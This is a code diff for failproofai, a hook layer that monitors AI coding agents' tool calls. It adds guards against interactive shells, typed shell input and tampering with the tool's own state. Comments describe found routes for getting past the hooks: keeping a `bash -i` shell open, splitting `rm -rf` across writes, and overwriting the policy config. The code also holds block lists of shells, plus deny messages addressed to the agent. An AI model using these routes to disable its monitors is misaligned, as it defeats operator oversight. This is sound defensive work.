a policy is blocking legitimate work, say so and let the operator decide.", + ); + } + if (kind === "state") { + return deny( + "Writing to failproofai's own state would switch enforcement off. " + + "If a policy is blocking legitimate work, say so and let the operator decide.", + ); + } } return allow(); } @@ -2689,8 +5698,35 @@ function blockFailproofaiCommands(ctx: PolicyContext): PolicyResult { // Deleting the state IS disabling enforcement, without ever naming the binary. // Checked on the raw command AND its shell-unescaped form for the same reason // the binary walk is: `rm -rf ~/.failproof"ai"` presents a broken literal to a - // matcher and a real path to the shell. - if (destroysFailproofaiState(cmd) || destroysFailproofaiState(unescaped)) { + // matcher and a real path to the shell. The walk starts where the command runs: + // the session's directory, or the one an Antigravity `run_command` names. + const toolCwd = ctx.toolInput?.cwd ?? ctx.toolInput?.workdir; + const reported = typeof toolCwd === "string" && toolCwd !== ""; + const shellCwd = reported ? toolCwd : ctx.session?.cwd; + // Codex runs a command in the `workdir` its shell tool names, and its hook + // payload carries the session's directory and the command only: a native + // `printf … > failproofai` with workdir `node_modules/.bin` arrived as a + // write in the project root (found by hermes on FailproofAI/failproofai#1058). + // Unless the call reports one, the line may start anywhere, which the walk + // reads as it reads a directory it has lost. + const startUnknown = ctx.cli === "codex" && !reported; + // Quoted text an `echo` or `printf` only prints is read as text, in both + // passes (see `blankPrintedRedirects`). + const walked = blankPrintedRedirects(cmd); + // The walk must not throw: a policy that throws is skipped by the evaluator, + // and for this one that is an allow. So a throw is a deny, said as one. + let destroys: boolean; + try { + destroys = + destroysFailproofaiState(walked, 0, shellCwd, startUnknown) || + destroysFailproofaiState(walked === cmd ? unescaped : stripShellQuoting(walked), 0, shellCwd, startUnknown); + } catch (err) { + return deny( + "failproofai could not read this command to check it against its own files, so it is refused. " + + `Rewrite it more simply, or say so and let the operator decide. (${err instanceof Error ? err.message : String(err)})`, + ); + } + if (destroys) { return deny( "Deleting, moving or overwriting failproofai's own state or installed code would switch enforcement off. " + "If a policy is blocking legitimate work, say so and let the operator decide.", diff --git a/src/hooks/codex-interactive-session.ts b/src/hooks/codex-interactive-session.ts new file mode 100644 index 000000000..2256922af --- /dev/null +++ b/src/hooks/codex-interactive-session.ts @@ -0,0 +1,276 @@ +/** + * Codex sessions may not open an interactive shell or REPL. + * + * Codex can leave a command running and type into it later (`exec_command`, + * then `write_stdin`; in code mode both are called from inside its JavaScript + * `exec` tool). It runs PreToolUse for the command that starts the session and + * for nothing typed into it afterwards: in a live codex-cli 0.172 session the + * only hook call was `Bash` with `{"command": "bash -i"}`, and + * `failproofai policies list` typed into that shell ran unchecked (found by + * hermes on FailproofAI/failproofai#1058, FailproofAI/agenteye#1898). Turning + * `unified_exec` off does not remove those tools in code mode, and turning code + * mode off leaves Codex's model with no shell at all. + * + * So the one point failproofai can enforce is the start: under Codex, a command + * that opens a program which runs what is typed into it — a shell with no + * script, an interpreter with no program, a multiplexer, a remote or container + * shell, an editor or pager with a shell escape, a database client that can + * shell out — is refused, and the agent is told to run each command on its own, + * which Codex does hook. A server or build left running (`npm run dev`) stays + * allowed: it does not run what is typed into it. + * + * The list cannot be complete: a program not named here that runs typed text + * is not refused. Pagers (`less`, `man`) are left off on purpose: agents read + * documentation with them, and their `!` shell escape needs a terminal. + */ +import { deny, allow } from "./policy-helpers"; +import type { PolicyContext, PolicyMatcher, PolicyResult } from "./policy-types"; + +export const CODEX_SESSION_GUARD_NAME = "failproofai/codex-interactive-session"; + +export const CODEX_SESSION_GUARD_DESCRIPTION = + "Refuse a Codex command that opens an interactive shell or REPL, whose typed input Codex runs no hooks for."; + +export const CODEX_SESSION_GUARD_MATCH: PolicyMatcher = { + events: ["PreToolUse"], + toolNames: ["Bash"], +}; + +const SHELLS = new Set(["bash", "sh", "zsh", "dash", "ksh", "mksh", "ash", "fish", "tcsh", "csh", "nu", "xonsh", "elvish", "pwsh", "powershell", "busybox"]); +/** Interpreters that read their program from what is typed when given none. */ +const STDIN_INTERPRETERS = new Set(["ruby", "perl", "php", "lua", "luajit", "tclsh", "wish"]); +const ALWAYS_INTERACTIVE = new Set([ + "irb", "pry", "ipython", "bpython", "ptpython", "ghci", "iex", "erl", "scala", "clj", "clojure", "R", "julia", "sbcl", "racket", + "tmux", "screen", "byobu", "zellij", "mosh", "telnet", "ftp", "sftp", "lftp", + "vi", "vim", "nvim", "view", "ex", "ed", "emacs", "nano", "pico", + "gdb", "lldb", "pdb", "nix-repl", "redis-cli", "mongosh", "mongo", "expect", "login", +]); +/** Words before the program that run it rather than being it. */ +const WRAPPERS = new Set(["env", "exec", "command", "builtin", "nohup", "time", "nice", "ionice", "stdbuf", "timeout", "setsid", "chrt", "taskset", "unbuffer", "caffeinate"]); + +/** Top-level simple commands of a line, each with whether its stdin comes from a pipe or a redirect. */ +function simpleCommands(command: string): Array<{ words: string[]; stdinFed: boolean }> { + const out: Array<{ words: string[]; stdinFed: boolean }> = []; + let words: string[] = []; + let word = ""; + let inWord = false; + let quote: "'" | '"' | null = null; + let piped = false; + let redirected = false; + const endWord = () => { + if (inWord) words.push(word); + word = ""; + inWord = false; + }; + const endCommand = (nextPiped: boolean) => { + endWord(); + if (words.length > 0) out.push({ words, stdinFed: piped || redirected }); + words = []; + piped = nextPiped; + redirected = false; + }; + for (let i = 0; i < command.length; i++) { + const ch = command[i]; + if (quote) { + if (ch === quote) quote = null; + else if (ch === "\\" && quote === '"' && i + 1 < command.length) word += command[++i]; + else word += ch; + continue; + } + if (ch === "'" || ch === '"') { + quote = ch; + inWord = true; + } else if (ch === "\\" && i + 1 < command.length) { + word += command[++i]; + inWord = true; + } else if (ch === "#" && !inWord) { + while (i < command.length && command[i] !== "\n") i++; + endCommand(false); + } else if (ch === "|" && command[i + 1] !== "|") { + endCommand(true); + } else if (ch === ";" || ch === "\n" || ch === "&" || ch === "|" || ch === "(" || ch === ")" || ch === "{" || ch === "}") { + if ((ch === "&" || ch === "|") && command[i + 1] === ch) i++; + endCommand(false); + } else if (ch === "<" && command[i + 1] !== "(") { + // `< file`, `< word.slice(word.lastIndexOf("/") + 1); + +/** Whether an option word is a cluster carrying `letter` (`-lc` carries `c`). */ +const clusterHas = (word: string, letter: string): boolean => /^-[A-Za-z]+$/.test(word) && word.includes(letter); + +/** The program a simple command runs, past assignments and wrappers, with its arguments. */ +function programOf(words: string[]): { program: string; args: string[] } | null { + let i = 0; + while (i < words.length) { + const word = words[i]; + if (/^[A-Za-z_][A-Za-z0-9_]*=/.test(word)) { + i++; + continue; + } + const name = baseName(word); + if (!WRAPPERS.has(name)) break; + i++; + // A wrapper's own options and values (`env -u X`, `nice -n 5`, `timeout 30s`). + while (i < words.length && (words[i].startsWith("-") || /^[A-Za-z_][A-Za-z0-9_]*=/.test(words[i]) || (name === "timeout" && /^\d/.test(words[i])))) { + if (["-n", "-u", "-C", "-S", "-o", "-e", "-i", "-c", "-k", "-s", "-p"].includes(words[i]) && name !== "env") i++; + else if (name === "env" && (words[i] === "-u" || words[i] === "-C" || words[i] === "-S")) i++; + i++; + } + } + if (i >= words.length) return null; + return { program: baseName(words[i]), args: words.slice(i + 1) }; +} + +/** Operands: arguments that are not options (and not an option's value from `valued`). */ +function operands(args: string[], valued: ReadonlySet): string[] { + const out: string[] = []; + for (let k = 0; k < args.length; k++) { + const arg = args[k]; + if (arg === "--") return [...out, ...args.slice(k + 1)]; + if (arg.startsWith("-") && arg !== "-") { + if (valued.has(arg)) k++; + continue; + } + out.push(arg); + } + return out; +} + +const SHELL_VALUED = new Set(["-o", "+o", "-O", "+O", "--rcfile", "--init-file"]); +const SSH_VALUED = new Set(["-b", "-c", "-D", "-E", "-e", "-F", "-I", "-i", "-J", "-L", "-l", "-m", "-O", "-o", "-p", "-Q", "-R", "-S", "-W", "-w", "-B", "-P"]); + +/** Why `program args` opens an interactive session, or null when it does not. */ +function sessionReason(program: string, args: string[], stdinFed: boolean): string | null { + const name = /^python[0-9.]*$|^pypy[0-9.]*$/.test(program) ? "python" : program; + if (SHELLS.has(name)) { + if (args.some((a) => a === "-c" || clusterHas(a, "c") || a === "--command")) return null; + const ops = operands(args, SHELL_VALUED); + if (name === "busybox" && ops[0] !== undefined && !SHELLS.has(ops[0])) return null; + if ((name === "busybox" ? ops.length > 1 : ops.length > 0) && !args.includes("-s")) return null; + return stdinFed ? null : `an interactive ${name} shell`; + } + if (name === "python") { + if (args.some((a) => a === "-i" || clusterHas(a, "i"))) return "an interactive Python session"; + const m = args.indexOf("-m"); + if (m !== -1) return ["code", "asyncio", "pdb", "IPython", "idlelib", "ptpython", "bpython"].includes(args[m + 1] ?? "") ? "an interactive Python session" : null; + if (args.includes("-c")) return null; + const ops = operands(args, new Set(["-W", "-X", "-Q"])); + if (ops.length > 0 && ops[0] !== "-") return null; + return stdinFed ? null : "an interactive Python session"; + } + if (name === "node" || name === "nodejs") { + if (args.some((a) => a === "-i" || a === "--interactive")) return "an interactive Node.js session"; + if (args.some((a) => ["-e", "-p", "--eval", "--print", "--test", "--check", "-c", "--version", "-v", "--help", "-h"].includes(a))) return null; + return operands(args, new Set(["-r", "--require", "--import", "--loader", "--input-type"])).length > 0 || stdinFed ? null : "an interactive Node.js session"; + } + if (name === "bun" || name === "deno") { + if (args[0] === "repl") return `an interactive ${name} session`; + return name === "deno" && args.length === 0 && !stdinFed ? "an interactive deno session" : null; + } + if (STDIN_INTERPRETERS.has(name)) { + if (name === "php" && args.includes("-a")) return "an interactive PHP session"; + if ((name === "lua" || name === "luajit") && args.includes("-i")) return `an interactive ${name} session`; + if (name === "perl" && args.some((a) => /^-d/.test(a))) return "the Perl debugger"; + if (args.some((a) => a === "-e" || a === "-E" || a === "-r" || clusterHas(a, "e") || clusterHas(a, "E"))) return null; + return operands(args, new Set(["-I", "-M", "-f", "-F", "-v"])).length > 0 || stdinFed ? null : `${name} reading its program from typed input`; + } + if (ALWAYS_INTERACTIVE.has(name)) { + if (name === "tmux" && ["send-keys", "send", "ls", "list-sessions", "kill-session", "kill-server", "capture-pane", "has-session", "-V"].includes(operands(args, new Set(["-L", "-S", "-f", "-c", "-t"]))[0] ?? args[0] ?? "")) return null; + if (name === "screen" && args.some((a) => a === "-ls" || a === "-list" || a === "-X" || a === "-Q" || a === "-v")) return null; + if ((name === "gdb" || name === "lldb") && args.some((a) => a === "-batch" || a === "--batch")) return null; + if (name === "emacs" && args.some((a) => a === "--batch" || a === "--script" || a === "-batch")) return null; + if ((name === "redis-cli" || name === "mongosh" || name === "mongo") && args.some((a) => a === "--eval" || a === "-e")) return null; + if (name === "redis-cli" && operands(args, new Set(["-h", "-p", "-a", "-n", "-u", "--user", "--pass"])).length > 0) return null; + if ((name === "sftp" || name === "ftp" || name === "lftp") && args.some((a) => a === "-b" || a === "-c" || a === "-f")) return null; + if (name === "R" && args.some((a) => a === "-e" || a === "-f" || a.startsWith("--file") || a === "CMD")) return null; + if (name === "julia" && (args.some((a) => a === "-e" || a === "-E") || operands(args, new Set(["-p", "-t", "-J"])).length > 0)) return null; + if (name === "erl" && args.some((a) => a === "-noshell" || a === "-eval" || a === "-s")) return null; + if (name === "expect" && operands(args, new Set(["-c"])).length > 0) return null; + return `an interactive ${name} session`; + } + if (name === "sqlite3") return operands(args, new Set(["-cmd", "-separator", "-nullvalue"])).length > 1 || stdinFed ? null : "an interactive sqlite3 session"; + if (name === "psql") return args.some((a) => /^(-c|-f|--command|--file)(=|$)/.test(a)) || stdinFed ? null : "an interactive psql session"; + if (name === "mysql" || name === "mariadb") return args.some((a) => /^(-e|--execute)(=|$)/.test(a)) || stdinFed ? null : `an interactive ${name} session`; + if (name === "ssh") { + const ops = operands(args, SSH_VALUED); + if (args.some((a) => a === "-N" || a === "-V" || a === "-G" || a === "-Q")) return null; + return ops.length === 1 && !stdinFed ? "a remote shell over ssh" : ops.length > 1 && /^(bash|sh|zsh|fish|-?i?bash)$/.test(baseName(ops[1])) && ops.length === 2 ? "a remote shell over ssh" : null; + } + if (name === "su") return args.some((a) => a === "-c" || a === "--command" || a.startsWith("--command=")) ? null : "a shell through su"; + if (name === "sudo" || name === "doas") { + if (args.some((a) => a === "-i" || a === "-s" || a === "--login" || a === "--shell" || clusterHas(a, "i") || clusterHas(a, "s"))) return `a shell through ${name}`; + const rest = programOf(skipSudoOptions(args)); + return rest ? sessionReason(rest.program, rest.args, stdinFed) : null; + } + if (name === "script") return args.some((a) => a === "-c" || a === "--command" || clusterHas(a, "c")) ? null : "a recorded interactive shell (script)"; + if (name === "docker" || name === "podman" || name === "nerdctl") { + const sub = args.find((a) => !a.startsWith("-")); + if (sub === "attach") return `an attached ${name} container`; + if (sub !== "exec" && sub !== "run") return null; + const after = args.slice(args.indexOf(sub) + 1); + return after.some((a) => a === "-i" || a === "--interactive" || a === "--interactive=true" || clusterHas(a, "i")) ? `an interactive ${name} ${sub}` : null; + } + if (name === "kubectl" || name === "oc") { + const sub = args.find((a) => !a.startsWith("-")); + if (sub === "attach") return `an attached ${name} pod`; + if (sub !== "exec" && sub !== "run" && sub !== "debug") return null; + return args.some((a) => a === "-i" || a === "--stdin" || a === "--stdin=true" || clusterHas(a, "i")) ? `an interactive ${name} ${sub}` : null; + } + if (name === "nix-shell") return args.some((a) => a === "--run" || a === "--command") ? null : "an interactive nix-shell"; + if (name === "nix" && (args[0] === "repl" || ((args[0] === "develop" || args[0] === "shell") && !args.some((a) => a === "-c" || a === "--command")))) return `an interactive nix ${args[0]}`; + if ((name === "poetry" || name === "pipenv" || name === "hatch") && args[0] === "shell") return `an interactive ${name} shell`; + if (name === "vagrant" && args[0] === "ssh" && !args.some((a) => a === "-c" || a === "--command")) return "a remote shell over vagrant ssh"; + return null; +} + +function skipSudoOptions(args: string[]): string[] { + let k = 0; + while (k < args.length && args[k].startsWith("-")) { + if (["-u", "-g", "-C", "-D", "-h", "-p", "-r", "-t", "-U", "--user", "--group"].includes(args[k])) k++; + k++; + } + return args.slice(k); +} + +/** Why this command opens an interactive session (the first one found), or null. */ +export function opensInteractiveSession(command: string): string | null { + for (const { words, stdinFed } of simpleCommands(command)) { + const found = programOf(words); + if (!found) continue; + const reason = sessionReason(found.program, found.args, stdinFed); + if (reason) return reason; + } + return null; +} + +/** Whether a canonicalized Codex call is a shell command that opens one. */ +export function codexCallOpensSession(eventType: string, toolName: string | undefined, toolInput: unknown): string | null { + if (eventType !== "PreToolUse" || toolName !== "Bash") return null; + const command = (toolInput as Record | null | undefined)?.command; + return typeof command === "string" ? opensInteractiveSession(command) : null; +} + +/** The guard for one Codex call found to open an interactive session. */ +export function codexSessionGuardFor(reason: string): (ctx: PolicyContext) => PolicyResult { + return (ctx) => { + if (ctx.eventType !== "PreToolUse") return allow(); + return deny( + `failproofai refused this because it opens ${reason}, and Codex runs no hooks for what is typed into one. ` + + "Run each command on its own instead, without keeping a shell or REPL open.", + ); + }; +} diff --git a/src/hooks/handler.ts b/src/hooks/handler.ts index 3ca7992ef..450803bd1 100644 --- a/src/hooks/handler.ts +++ b/src/hooks/handler.ts @@ -38,6 +38,21 @@ import { antigravityPathGuard, antigravityPathGuardActive, } from "./antigravity-path-guard"; +import { + TYPED_INPUT_GUARD_DESCRIPTION, + TYPED_INPUT_GUARD_MATCH, + TYPED_INPUT_GUARD_NAME, + typedInputGuardActive, + typedInputGuardFor, + typedShellInput, +} from "./typed-shell-input"; +import { + CODEX_SESSION_GUARD_DESCRIPTION, + CODEX_SESSION_GUARD_MATCH, + CODEX_SESSION_GUARD_NAME, + codexCallOpensSession, + codexSessionGuardFor, +} from "./codex-interactive-session"; import { evaluatePolicies } from "./policy-evaluator"; // Types only: the semantic (Jev) modules are loaded with a dynamic import, and // only once a Jev config exists, so an unconfigured machine never loads them. @@ -727,6 +742,19 @@ export async function evaluateHookEvent( if (canonicalInput !== rawInput) { parsed.tool_input = canonicalInput; } + // Text typed into a running shell (Codex `write_stdin`, Copilot + // `write_bash`) arrives outside `command`, the field every shell policy + // reads: moved there as the lines it runs, or refused below when it cannot + // be read as whole lines. See typed-shell-input.ts. + const typedInput = typedShellInput(cli, rawToolName, canonicalToolName, parsed.tool_input); + if (typedInput?.kind === "command") { + parsed.tool_input = { ...(parsed.tool_input as Record), command: typedInput.command }; + } + const unreadableTypedInput = typedInput?.kind === "unreadable" ? typedInput.why : undefined; + // Codex runs no hooks for what is typed into a shell it keeps open, so a + // Codex command that opens one is refused. See codex-interactive-session.ts. + const codexSession = + cli === "codex" ? codexCallOpensSession(canonicalEventType, canonicalToolName, parsed.tool_input) : null; // Extract session metadata from payload const sessionId = parsed.session_id as string | undefined; @@ -892,6 +920,28 @@ export async function evaluateHookEvent( ANTIGRAVITY_PATH_GUARD_MATCH, ); } + // Typed text no shell policy could read is refused, outside the enabled + // set for the same reason, and only for the call that carries it. + if ( + unreadableTypedInput !== undefined && + canonicalEventType === "PreToolUse" && + typedInputGuardActive(Boolean(activePause), cloudManagedPolicies) + ) { + registerPolicy( + TYPED_INPUT_GUARD_NAME, + TYPED_INPUT_GUARD_DESCRIPTION, + typedInputGuardFor(unreadableTypedInput), + TYPED_INPUT_GUARD_MATCH, + ); + } + if (codexSession !== null && typedInputGuardActive(Boolean(activePause), cloudManagedPolicies)) { + registerPolicy( + CODEX_SESSION_GUARD_NAME, + CODEX_SESSION_GUARD_DESCRIPTION, + codexSessionGuardFor(codexSession), + CODEX_SESSION_GUARD_MATCH, + ); + } // Recorded on every row once a machine is managed, whether or not a cloud // policy decided this event: "what was deployed here at the time" is a // separate question from "what decided", and only the former can tell a diff --git a/src/hooks/policy-catalog.ts b/src/hooks/policy-catalog.ts index ad4300c5e..6b753fc35 100644 --- a/src/hooks/policy-catalog.ts +++ b/src/hooks/policy-catalog.ts @@ -240,10 +240,12 @@ export const POLICY_CATALOG: PolicyCatalogEntry[] = [ // through this guard unguarded: the agent never needs a shell to overwrite // `~/.failproofai/policies-config.json` with `{"enabledPolicies":[]}` — it // just writes the file. Every CLI canonicalizes its own file tool's path - // key to `file_path`, so one branch covers all of them. + // key to `file_path`, so one branch covers all of them. `apply_patch` is + // OpenClaw's native patch tool, which reaches policies under its own name + // (FailproofAI/failproofai#1058). match: { events: ["PreToolUse", "PermissionRequest"], - toolNames: ["Bash", "Write", "Edit", "NotebookEdit"], + toolNames: ["Bash", "Write", "Edit", "NotebookEdit", "apply_patch"], }, defaultEnabled: true, alwaysOn: true, diff --git a/src/hooks/typed-shell-input.ts b/src/hooks/typed-shell-input.ts new file mode 100644 index 000000000..06ae5f93c --- /dev/null +++ b/src/hooks/typed-shell-input.ts @@ -0,0 +1,176 @@ +/** + * Text an agent types into a shell that is already running. + * + * Codex's `write_stdin` and Copilot's `write_bash` / `write_powershell` send + * keystrokes to a shell an earlier call started. They are canonicalized to + * `Bash` so the shell policies judge them, but their text is not in `command`, + * the one field those policies read: Codex sends it as `chars` + * (`{session_id, chars}`, codex-cli 0.172) and Copilot as `input` + * (`{shellId, input, delay}`, Copilot CLI 1.0.114). With `command` empty every + * shell policy allowed what was typed. + * + * So `handler.ts` moves the text into `command`, as far as it can be read as + * whole command lines, and refuses the rest: + * - An empty write reads a shell's output (Codex polls that way): nothing to judge. + * - Text that ends a line is the lines it runs. + * - Keys alone (Ctrl-C, Ctrl-D, an arrow key, Enter) add no text of their own; + * a line they bring back from history was judged when it was first typed. + * - Everything else is refused: text that does not end its command (no line + * end, a trailing backslash, an open quote or heredoc), because the + * shell runs it once a later write adds the rest, which is then judged + * without it (`rm -rf ~/.fail` now, `proofai` and Enter next); and text + * mixed with editing keys (Tab completion, Ctrl-W, Ctrl-Y, a cursor key), + * because the line the shell runs is then not the text sent. + * + * Text typed into a program the shell started (a REPL, an editor) is judged as + * shell text too: the payload does not say what reads it. + * + * Live codex-cli 0.172 runs no hook at all for `write_stdin`, so for Codex + * this is a second line only: codex-interactive-session.ts refuses opening the + * session in the first place. + */ +import { deny, allow } from "./policy-helpers"; +import type { PolicyContext, PolicyMatcher, PolicyResult } from "./policy-types"; +import type { HookEventType, IntegrationType } from "./types"; + +export const TYPED_INPUT_GUARD_NAME = "failproofai/typed-shell-input-readable"; + +export const TYPED_INPUT_GUARD_DESCRIPTION = + "Refuse text typed into a running shell that failproofai cannot read as whole command lines."; + +export const TYPED_INPUT_GUARD_MATCH: PolicyMatcher = { + events: ["PreToolUse"], + toolNames: ["Bash"], +}; + +/** The raw tool names that type into a running shell, and the field each sends its text in. */ +const TYPING_TOOLS: Partial>> = { + codex: { write_stdin: "chars" }, + copilot: { write_bash: "input", write_powershell: "input" }, +}; + +/** What a typing call's text gives the shell policies to read. */ +export type TypedInput = + /** Lines to judge as a command (`""` when there is nothing to judge). */ + | { kind: "command"; command: string } + /** Text that cannot be read as whole command lines: refused. */ + | { kind: "unreadable"; why: string }; + +/** + * The field a call types its text in, or undefined for a call that types + * nothing. Known by the raw tool name, and by shape for a name the CLI already + * reports as `Bash`: a text field beside a shell id, and no `command`. + */ +function typedTextField(cli: IntegrationType, rawToolName: string | undefined, input: Record): string | undefined { + const byName = rawToolName === undefined ? undefined : TYPING_TOOLS[cli]?.[rawToolName]; + if (byName !== undefined) return byName; + if (input.command !== undefined) return undefined; + if (cli === "codex" && "chars" in input && "session_id" in input) return "chars"; + if (cli === "copilot" && "input" in input && "shellId" in input) return "input"; + return undefined; +} + +// A terminal escape sequence: CSI (`ESC [ … final`), SS3 (`ESC O x`), or ESC and one key. +const ESCAPE_SEQUENCE_RE = /\x1b(?:\[[0-?]*[ -/]*[@-~]|O.|[\s\S])?/g; +// A control character other than a line ending. +const EDITING_KEY_RE = /[\x00-\x09\x0b\x0c\x0e-\x1f\x7f]/; + +/** How `text`, typed into a running shell, reads; see the module comment. */ +export function readTypedText(text: unknown): TypedInput { + if (typeof text !== "string") return { kind: "unreadable", why: "its text is not a string" }; + if (text === "") return { kind: "command", command: "" }; + const withoutEscapes = text.replace(ESCAPE_SEQUENCE_RE, ""); + const visible = withoutEscapes.replace(/[\x00-\x1f\x7f]/g, ""); + if (visible.trim() === "") return { kind: "command", command: "" }; + if (withoutEscapes !== text || EDITING_KEY_RE.test(withoutEscapes)) { + return { kind: "unreadable", why: "it mixes text with editing keys, so the line the shell runs is not the text sent" }; + } + const lines = withoutEscapes.replace(/\r\n?/g, "\n"); + if (!lines.endsWith("\n")) { + return { kind: "unreadable", why: "it does not end its line, so the shell would run it with whatever is typed next" }; + } + const command = lines.slice(0, -1); + if (continuesPastWrite(command)) { + return { kind: "unreadable", why: "its command continues onto a later write, which would be judged without it" }; + } + return { kind: "command", command }; +} + +/** + * Whether the shell is still reading the same command when this text ends: a + * trailing backslash, an unclosed quote, or a heredoc whose closing line has + * not been sent. Its rest then arrives in a later write, judged on its own + * (`cp source \` now, `hook` and Enter next). + */ +function continuesPastWrite(command: string): boolean { + let quote: "'" | '"' | null = null; + const heredocs: string[] = []; + const lines = command.split("\n"); + for (let n = 0; n < lines.length; n++) { + const line = lines[n]; + if (quote === null && heredocs.length > 0) { + if (line.replace(/^\t+/, "") === heredocs[0]) heredocs.shift(); + continue; + } + for (let i = 0; i < line.length; i++) { + const ch = line[i]; + if (quote === "'") { + if (ch === "'") quote = null; + } else if (ch === "\\") { + if (i === line.length - 1) return true; + i++; + } else if (quote === '"') { + if (ch === '"') quote = null; + } else if (ch === "'" || ch === '"') { + quote = ch; + } else if (ch === "#" && (i === 0 || /\s/.test(line[i - 1]))) { + break; + } else if (ch === "<" && line[i + 1] === "<" && line[i + 2] !== "<") { + const m = /^<<-?\s*(['"]?)([^\s'"<>;&|()]+)\1/.exec(line.slice(i)); + if (m) { + heredocs.push(m[2]); + i += m[0].length - 1; + } + } + } + } + return quote !== null || heredocs.length > 0; +} + +/** + * For a call that types into a running shell: what its text reads as. + * Undefined for any other call, which is left exactly as it came. + */ +export function typedShellInput( + cli: IntegrationType, + rawToolName: string | undefined, + canonicalToolName: string | undefined, + toolInput: unknown, +): TypedInput | undefined { + if (canonicalToolName !== "Bash" || !toolInput || typeof toolInput !== "object" || Array.isArray(toolInput)) return undefined; + const input = toolInput as Record; + const field = typedTextField(cli, rawToolName, input); + if (field === undefined) return undefined; + return readTypedText(input[field]); +} + +/** + * Lifted by a pause, which is the way through when an agent CLI changes how it + * sends typed text, unless an enforcing Cloud policy is deployed: a pause does + * not suspend those, and they could not read this text either. Same rule as + * `antigravityPathGuardActive`. + */ +export function typedInputGuardActive(paused: boolean, cloudPolicies: ReadonlyArray<{ effect?: string }>): boolean { + return !paused || cloudPolicies.some((p) => p.effect !== "observe"); +} + +/** The guard for one call `handler.ts` found unreadable, saying why. */ +export function typedInputGuardFor(why: string): (ctx: PolicyContext) => PolicyResult { + return (ctx) => { + if ((ctx.eventType as HookEventType | string) !== "PreToolUse") return allow(); + return deny( + `failproofai refused this input to a running shell because ${why}. ` + + "Send whole command lines ending in a newline, with no editing keys.", + ); + }; +} diff --git a/src/hooks/types.ts b/src/hooks/types.ts index dc9a87d19..e91c20aa7 100644 --- a/src/hooks/types.ts +++ b/src/hooks/types.ts @@ -68,7 +68,9 @@ export const CODEX_EVENT_MAP: Record = { * Local Codex sessions also expose `write_stdin` (sends input to a running * shell — same risk class as Bash). Map the two non-canonical names so * builtin policies fire; everything else (MCP `mcp__*`, future tools) - * passes through. + * passes through. `write_stdin`'s text arrives in `chars`, not `command`: + * typed-shell-input.ts moves it there (as it does Copilot `write_bash`'s + * `input`) and refuses text it cannot read as whole command lines. */ export const CODEX_TOOL_MAP: Record = { apply_patch: "Edit",